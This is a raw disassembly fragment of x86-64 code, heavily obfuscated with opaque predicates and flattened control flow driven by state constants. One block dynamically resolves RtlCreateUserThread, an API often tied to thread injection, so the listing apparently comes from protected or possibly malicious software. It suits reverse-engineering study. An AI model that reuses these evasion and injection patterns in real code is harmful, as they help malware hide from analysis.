mov eax, edx
xor al, bl
not al
test al, 1
mov eax, 0x8ab87205
mov ecx, 0x71bfc93c
cmovne eax, ecx
test bl, bl
mov ecx, 0x8ab87205
cmovne ecx, eax
mov qword [0x1402650b0], rsi
jmp 0x14015d282
mov ecx, 0xe665b11d
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov esi, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x52157787
and edx, 0xadea8878
or edx, ebp
mov ebp, edx
xor ebp, 0x52157787
mov ebx, edx
xor ebx, 0xadea8878
mov ecx, edx
xor ecx, 0xb1ebf6f9
mov edi, ecx
and edi, ebx
and ecx, ebp
mov ebp, edi
and ebp, ecx
xor ecx, edi
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xfa1baed2
and ecx, 0x5e4512d
or ecx, ebp
xor ecx, 0xe61ad052
and ebx, 1
xor edx, 0xadea8879
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x6c8f2a9b
and edx, 0x9370d564
or edx, ebp
xor edx, 0x9370d564
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
mov ecx, edx
xor ecx, 0x32649bc5
and ecx, edx
not edx
and edx, 0x32400305
and ebp, 0x2498c0
or ebp, edx
xor ebp, 0x2498c0
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcd9b643a
and ecx, 0x32649bc5
or ecx, edx
sete r8b
setne al
cmp esi, 0xa
setl cl
cmp esi, 9
setg r9b
mov ebx, eax
xor bl, r8b
and bl, al
mov r10d, ebx
xor r10b, 1
mov edx, r10d
and dl, bl
mov eax, edx
xor al, 1
xor dl, bl
or al, r10b
xor al, 1
or al, dl
xor al, 1
mov edx, eax
or dl, r9b
xor dl, 1
xor al, r9b
not al
and al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor r9b, r8b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x30985979
mov edx, 0xb4853f67
cmovne ecx, edx
test bl, 1
mov ebp, 0x30985979
jmp 0x14015b651
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x1d55ead7
and edx, 0xe2aa1528
or edx, ebp
mov ecx, edx
xor ecx, 0x1d55ead7
xor edx, 0x20a20000
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x38f68242
and ecx, 0xc7097dbd
or ecx, edx
xor ecx, 0xc7097dbc
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x20831
and ecx, 0x17240340
or ecx, edx
mov ebx, ecx
xor ebx, 0x12040000
xor ecx, 0x888a6c16
or ebp, 0x17260b71
mov edx, ebp
not edx
and ecx, 0x8daa6f56
and ebx, 0x12040021
or ebx, ecx
and ebp, 0x8daa6f56
and edx, 0x60519088
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xb945eeea
and edx, 0x46ba1115
or edx, ecx
xor edx, 0x519c1a64
setne r8b
sete bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, bl
and r8b, al
or al, bl
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
and cl, bl
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov r10d, r9d
and r10b, al
mov ebx, ecx
and bl, r8b
mov edx, r10d
xor dl, 1
xor r10b, r9b
or dl, al
xor dl, 1
or dl, r10b
mov r10d, ebx
and r10b, cl
xor bl, cl
or bl, r10b
xor bl, dl
xor r8b, al
or cl, r9b
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x94d9d81b
mov edx, 0x62730aca
cmovne ecx, edx
test bl, 1
cmove ecx, edx
not al
test al, 1
mov eax, 0x94d9d81b
jmp 0x14015d285
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xed3670f6
and edx, 0x12c98f09
or edx, ecx
mov ecx, edx
xor ecx, 0x88308
xor edx, 0xa0025064
and edx, 0xb2c35c65
and ecx, 0x4d3ca39a
or ecx, edx
mov ebp, ecx
xor ebp, 0x10005464
xor ecx, 0x4d3ca39a
mov edx, ecx
or edx, 1
mov ebx, edx
not ebx
and ecx, 0xe6f30b81
and ebp, 0x190cf47e
or ebp, ecx
mov ecx, ebp
xor ecx, 0xc705b
xor ebp, 0xe6f30b80
mov edi, edx
and edi, 0x39308e24
and ebx, 0xc6cf71da
or ebx, edi
or edx, ebp
and ebp, 0x39308e24
and ecx, 0xc6cf71db
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3d18a1d8
and edx, 0xc2e75e27
or edx, ecx
mov ecx, edx
xor ecx, 0xc2605224
xor edx, 0x341000c8
and edx, 0x34970ccb
and ecx, 0xcb68f334
or ecx, edx
mov edx, ecx
xor edx, 0x249400c1
xor ecx, 0xcb68f334
mov ebp, ecx
and ebp, 0x10431d3a
and edx, 0xefbce2c5
or edx, ebp
xor edx, 0x10431d3a
xor ecx, edx
test ecx, edx
sete r9b
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, dl
mov ecx, eax
xor cl, dl
or cl, bl
xor al, r9b
not al
and al, r9b
xor dl, r8b
not dl
and dl, r8b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
mov eax, ecx
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x307f7143
mov ebp, 0x5d2489c9
cmovne ecx, ebp
test dl, dl
mov edx, ecx
mov ebp, 0x307f7143
cmovne edx, ebp
test al, al
cmovne edx, ecx
jmp 0x14015b438
mov ecx, dword [0x1402656d8]
mov r9d, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x2d164551
mov ecx, ebx
and ecx, 0x12210008
or ecx, edx
mov edx, ecx
xor edx, 0x10200008
xor ecx, 0xeddefff7
mov ebp, ebx
xor ebp, 0x3f374559
and ebp, ebx
mov esi, ebp
not esi
mov eax, ecx
and eax, 0x6078ad1
and edx, 0x39304508
or edx, eax
or ecx, esi
and esi, 0x6078ad1
and ebp, 0xf9f8752e
or ebp, esi
xor ebp, edx
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x157eb7cd
and ecx, 0xea814832
or ecx, eax
mov edx, ecx
xor edx, 0x81a40040
xor ecx, 0x28483214
and ecx, 0x7c5a3f3e
and edx, 0x83a5c0c1
or edx, ecx
mov eax, edx
xor eax, 0x1004000
xor edx, 0x7c5a3f3e
mov ecx, edx
and ecx, 0xb6afb2e1
and eax, 0x49504d1e
or eax, ecx
or edx, ebx
and ebx, 0xb6afb2e1
and edi, 0x49504d1e
or edi, ebx
xor edi, eax
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0x9f9a7ba8
and edx, 0x60658457
or edx, eax
xor edx, 0x60658457
setne r8b
sete r10b
cmp r9d, 9
setg cl
cmp r9d, 0xa
setl r9b
mov ebx, r9d
xor bl, cl
and bl, r9b
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r11d, eax
and r11b, dl
xor dl, al
or dl, r11b
xor dl, 1
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov edx, r10d
and dl, al
or al, r10b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
xor r9b, r10b
and r10b, cl
and dl, r8b
or dl, r10b
or cl, r8b
xor cl, 1
or cl, r9b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x1e1492c3
mov edx, 0xaaccf4a
jmp 0x14015abf1
mov ecx, 0xb4853f67
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov eax, dword [0x1402656d8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebp
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x7915fce
and ecx, 0xf86ea031
or ecx, ebx
and ebp, 0x7915fce
and eax, 0xf86ea031
or eax, ebp
xor eax, ecx
xor edx, eax
test edx, eax
setne dl
sete r8b
cmp dword [0x1402656d4], 0xa
setl al
xor dl, r8b
and dl, r8b
mov ecx, edx
xor cl, al
and dl, cl
and cl, al
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
or dl, r8b
xor al, r8b
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x453eeeae
mov ecx, 0xaadee667
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0x453eeeae
jmp 0x14015a2a6
mov ecx, 0xfa936622
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x21596062
mov edx, ebx
and edx, 0xdea69f9d
or edx, ebp
mov ebp, edx
xor ebp, 0x2a00011
xor edx, 0x2042
mov ecx, ebx
xor ecx, 0xcaa03453
and ecx, ebx
or edx, 0x355fcbac
mov esi, ecx
not esi
mov eax, edx
and eax, 0xdc561ee2
and ebp, 0x2a02011
or ebp, eax
or edx, esi
and esi, 0xdc561ee2
and ecx, 0x23a9e11d
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x71c1cdb3
and edx, 0x8e3e324c
or edx, eax
xor edx, 0xbb61f9e1
and edi, 0xa938160d
and ebx, 0x56c7e9f2
or ebx, edi
xor ebx, 0x56c7e9f2
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
cmp ebx, 0xffffffff
sete r9b
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r10b
xor r10b, dl
mov r8d, r10d
xor r8b, 1
mov ebx, ecx
or bl, r9b
xor bl, 1
xor cl, r9b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, r8d
and bl, r10b
xor bl, 1
mov eax, r10d
xor al, bl
or bl, r10b
xor bl, 1
or bl, al
xor bl, dl
xor dl, r8b
or cl, r10b
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xc52fd198
mov edx, 0xf9419132
cmovne eax, edx
test cl, 1
mov ecx, 0xc52fd198
cmovne ecx, eax
jmp 0x14015cbcb
mov edx, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
and edx, 0xef79bfc2
and eax, 0x1086403d
or eax, edx
mov edx, eax
xor edx, 0x1086403d
xor eax, 0xef79bfc2
and eax, ebx
not ebx
and edx, ebx
or eax, edx
xor ebx, eax
test ebx, eax
setne r8b
sete bl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, bl
and r8b, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
and al, bl
or al, r8b
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0xb143a7ee
mov eax, 0xf9419132
cmovne ecx, eax
test dl, 1
cmovne ecx, eax
not bl
test bl, 1
mov eax, 0xb143a7ee
jmp 0x14015cf0e
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ecx, ebp
or ecx, 0x8dbb544e
mov ebx, ecx
not ebx
mov edx, ebp
xor edx, 0x7244abb1
and edx, ebp
mov esi, edx
not esi
mov eax, ecx
and eax, 0x27966fd5
and ebx, 0x50408020
or ebx, eax
or ecx, esi
and esi, 0x27966fd5
and edx, 0xd869902a
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x8dbb544f
and ecx, 0x7244abb0
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1a654d65
and ecx, 0xe59ab29a
or ecx, eax
mov eax, ecx
xor eax, 0xc490b282
xor ecx, 0x1a654d65
mov edx, ecx
and edx, 0x310a403c
and eax, 0xcef5bfc3
or eax, edx
or ecx, ebp
and ebp, 0x310a403c
and edi, 0xcef5bfc3
or edi, ebp
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x8b7341d6
and ecx, 0x748cbe29
or ecx, eax
xor ecx, 0x748cbe29
sete r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov edx, r8d
xor dl, r9b
xor dl, 1
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
and dl, r9b
or r8b, r9b
xor dl, 1
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and cl, bl
or bl, al
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x84866eb4
mov ecx, 0xaadee667
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0x84866eb4
cmovne ecx, eax
jmp 0x14015bdcd
mov ecx, 0x479e7774
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0x87b00c7a
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov al, byte [rsp + 0x2e]
mov cl, byte [rsp + 0x2f]
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
and al, cl
or al, dl
xor al, 1
or al, bl
xor bl, cl
mov ecx, ebx
xor cl, al
xor cl, 1
or bl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xcab6162a
mov edx, 0x3b059f1c
cmovne ecx, edx
test bl, 1
cmovne ecx, edx
not al
test al, 1
mov eax, 0xcab6162a
jmp 0x14015cf0e
mov rcx, qword [0x140265040]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x7f62058d
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xc8680580
mov edx, ebx
and edx, 0x20840047
or edx, ebp
mov edi, edx
xor edi, 0x800045
xor edx, 0x861afb0
mov esi, ecx
or esi, 0xe8ec05c7
mov ebp, esi
not ebp
and edx, 0x2865afb2
and edi, 0xc0880045
or edi, edx
and esi, 0x2865afb2
and ebp, 0x17125008
or ebp, esi
xor ebp, edi
mov edx, ebp
not edx
and edx, 0x1713fa39
and ebp, 0xe8ec05c6
or ebp, edx
mov edi, ebp
not edi
mov edx, edi
and edx, 0x7d26fa80
and ebp, 0x82d9057f
or ebp, edx
and ebx, 0x7d26fa80
and ecx, 0x82d9057f
or ecx, ebx
xor ecx, ebp
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg dl
mov ebx, r9d
xor bl, dl
mov eax, ebx
and al, dl
and r8b, dl
or dl, r9b
xor dl, 1
or dl, bl
and bl, r9b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
and r10b, r9b
or r10b, r8b
xor dl, 1
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, edx
and cl, bl
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov r8d, ecx
and r8b, al
mov edx, eax
xor dl, bl
or bl, al
xor al, 1
xor cl, 1
and cl, al
or cl, r8b
xor bl, 1
or bl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x1b083bbe
mov edx, 0xeb91b299
cmovne eax, edx
test bl, 1
mov edx, 0x1b083bbe
jmp 0x14015b42f
mov ecx, dword [0x1402656d8]
mov r9d, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xb31e31ce
mov edx, ebx
and edx, 0x4ce1ce31
or edx, ebp
mov edi, edx
xor edi, 0x40608800
xor edx, 0x30140100
mov esi, ecx
or esi, 0x7275d939
mov ebp, esi
not ebp
or edx, 0x848222c0
and edx, 0xb49763f1
and edi, 0x42609808
or edi, edx
and esi, 0xb49763f1
and ebp, 0x9080406
or ebp, esi
xor ebp, edi
mov edx, ebp
not edx
and edx, 0xd1b04808
and ebp, 0x2e4fb7f7
or ebp, edx
mov edx, ebp
xor edx, 0x10206080
xor ebp, 0xa3c59130
mov edi, ebp
and edi, 0x4f5b1e7f
and edx, 0xb0a4e180
or edx, edi
and ebx, 0x4f5b1e7f
and ecx, 0xb0a4e180
or ecx, ebx
xor ecx, edx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
cmp r9d, 0xa
setl al
cmp r9d, 9
setg r9b
mov r10d, r9d
and r10b, r8b
mov ebx, r9d
xor bl, r8b
xor al, r8b
or r8b, r9b
xor r8b, 1
mov ecx, r8d
and cl, r10b
xor r10b, r8b
or r10b, cl
and bl, r9b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, r10d
xor dl, 1
and cl, dl
or dl, al
and al, r10b
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x71bfc93c
mov ebp, 0xae57c66a
cmovne ecx, ebp
test dl, 1
mov eax, 0x71bfc93c
cmovne ecx, eax
test bl, 1
jmp 0x14015d6e4
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov ebp, eax
and ebp, 0x5b8477a2
mov edx, ecx
xor edx, 0x5b8477a2
and edx, ecx
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xa47b885c
and edx, 0x5b8477a3
or edx, ebp
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0x417c5bac
and edx, 0xbe83a453
or edx, ebx
and ecx, 0x417c5bac
and eax, 0xbe83a453
or eax, ecx
xor eax, edx
xor ebp, eax
test ebp, eax
sete bl
setne cl
cmp dword [0x1402656d4], 0xa
setl r8b
xor cl, r8b
xor cl, 1
mov edx, r8d
or dl, bl
xor dl, 1
or dl, cl
mov eax, ebx
xor al, r8b
and bl, al
and al, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xfb35bba2
mov ebp, 0x8c296f7c
cmovne ecx, ebp
test al, al
cmovne ecx, ebp
not dl
test dl, 1
mov eax, 0xfb35bba2
jmp 0x14015cf0e
mov ecx, 0x6935496b
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0xe7ce6c6
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov eax, dword [0x1402656d8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xaff2be5c
mov ecx, ebp
and ecx, 0x500d41a2
or ecx, edx
xor ecx, 0x500d41a2
mov edx, ebp
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xfcca1023
and edx, 0x335efdc
or edx, ebx
and ebp, 0xfcca1023
and eax, 0x335efdc
or eax, ebp
xor eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1402656d4], 9
setg cl
mov edx, ecx
xor dl, al
mov r8d, edx
xor r8b, cl
and r8b, dl
not dl
and dl, al
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor cl, 1
and cl, r8b
xor r8b, 1
and dl, r8b
or cl, dl
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x4472a0ab
mov ebp, 0x7f89e7f6
cmovne eax, ebp
test cl, cl
cmove eax, ebp
test dl, 1
mov ecx, 0x4472a0ab
jmp 0x14014f72e
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x9090c17a
mov ebx, ecx
and ebx, 0x6f6f3e84
or ebx, ebp
xor ebx, 0x6f6f3e84
mov ebp, ecx
and ebp, 1
or ebp, ebx
not ebp
and edx, 0xea9500b6
and ecx, 0x156aff49
or ecx, edx
xor ecx, 0x156aff49
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
cmp ecx, 0xffffffff
setne dl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov eax, ecx
and dl, cl
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
and bl, r8b
or dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x14a6439f
mov ebp, 0xbf716512
cmovne ecx, ebp
test dl, dl
cmovne ecx, ebp
not al
test al, 1
mov eax, 0x14a6439f
jmp 0x14015cf0e
mov r8, qword [rsp + 0x38]
mov edx, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea edi, [rdx - 1]
imul edi, edx
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x33deb34b
mov edx, edi
and edx, 0xcc214cb4
or edx, ebx
mov ebx, edx
xor ebx, 0xc8004820
xor edx, 0x33deb34a
mov ebp, edi
xor ebp, 0xfffffffe
and ebp, edi
or edx, 1
mov eax, edx
and eax, 0x357785d4
and ebx, 0xca887a2a
or ebx, eax
mov eax, ebp
not eax
or edx, eax
and eax, 0x357785d4
and ebp, 0xca887a2b
or ebp, eax
xor ebp, ebx
not edx
or edx, ebp
mov eax, edx
not eax
and esi, eax
and edx, edi
or edx, esi
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r9b
cmp ecx, 9
setg r10b
mov edx, eax
xor dl, r10b
mov ecx, eax
xor cl, r9b
and al, cl
and cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
and r10b, dl
xor dl, 1
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r9d, eax
and r9b, bl
xor al, bl
or al, r9b
xor al, cl
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xdefa2e02
mov ebp, 0xde8d29ae
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
mov qword [0x1402650b0], r8
test dl, 1
mov eax, 0xdefa2e02
jmp 0x14015cf0e
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
and ecx, 0x27c46ee2
and ebp, 0xd83b911d
or ebp, ecx
mov ecx, ebp
xor ecx, 0x50089000
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xaff325df
and edx, 0x500cda20
or edx, ebx
xor ebp, 0x27c024c2
and ebp, 0xaff325df
and ecx, 0x500cda20
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne dl
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
or al, r8b
or dl, cl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
and al, r8b
xor cl, r8b
or al, cl
mov ebx, eax
xor bl, cl
xor cl, 1
xor bl, 1
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
and dl, cl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xf7038598
mov ebp, 0x36dc0dc
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
not al
test al, 1
mov eax, 0xf7038598
jmp 0x14015d285
mov rax, qword [rsp + 0x30]
mov ecx, 0xb615a6a0
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x67230a93
and ecx, edi
and edi, 0x98dcf56c
or edi, edx
mov edx, edi
xor edx, 0x98c02524
xor edi, 0x67230a93
mov ebx, ecx
not ebx
mov ebp, edi
and ebp, 0x613dd8cb
and edx, 0x9ec22734
or edx, ebp
or edi, ebx
and ebx, 0x613dd8cb
and ecx, 0x9ec22734
or ecx, ebx
xor ecx, edx
not edi
or edi, ecx
mov ecx, edi
not ecx
mov edx, edi
or edx, 0x59058199
mov ebx, edx
not ebx
mov ebp, edi
xor ebp, 0xa6fa7e66
and ebp, edi
mov esi, ebp
not esi
mov eax, edx
and eax, 0x7ec9b48
and ebx, 0xa0126426
or ebx, eax
or edx, esi
and esi, 0x7ec9b48
and ebp, 0xf81364b7
or ebp, esi
xor ebp, ebx
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0xbbcc5f0b
and edx, 0x4433a0f4
or edx, eax
xor edx, 0xe2c9de93
and edi, 0xe54622be
mov eax, ecx
and eax, 0x1ab9dd41
or eax, edi
xor eax, 0xe54622bf
and ecx, 1
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x9d27a5f9
and edx, ecx
and ecx, 0x62d85a06
or ecx, eax
mov eax, ecx
xor eax, 0x62585a06
xor ecx, 0x9d27a5f9
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x8c82a4c9
and eax, 0x737d5b36
or eax, ebx
or ecx, ebp
and ebp, 0x8c82a4c9
and edx, 0x737d5b36
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x4c1005bd
and ecx, 0xb3effa42
or ecx, edx
xor ecx, 0x4c1005bd
xor eax, ecx
test eax, ecx
setne r9b
sete r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov edx, r8d
xor dl, cl
and dl, r8b
mov eax, r10d
and r8b, r10b
and r9b, cl
mov ebx, ecx
and bl, r10b
xor cl, r10b
or r10b, dl
xor al, dl
not al
and al, dl
xor al, 1
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
or r9b, r8b
or cl, bl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x8897e487
mov edx, 0xa99eae7a
cmovne eax, edx
test cl, 1
mov ecx, eax
cmovne ecx, edx
jmp 0x14015cbcb
mov ecx, 0x8159bbfa
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x84e4529b
and ebp, 0x7b1bad64
or ebp, edi
or ecx, ebx
and ebx, 0x84e4529b
and edx, 0x7b1bad64
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x2e43f98e
and ecx, 0xd1bc0671
or ecx, ebp
xor ecx, 0xd1bc0670
mov ebp, edx
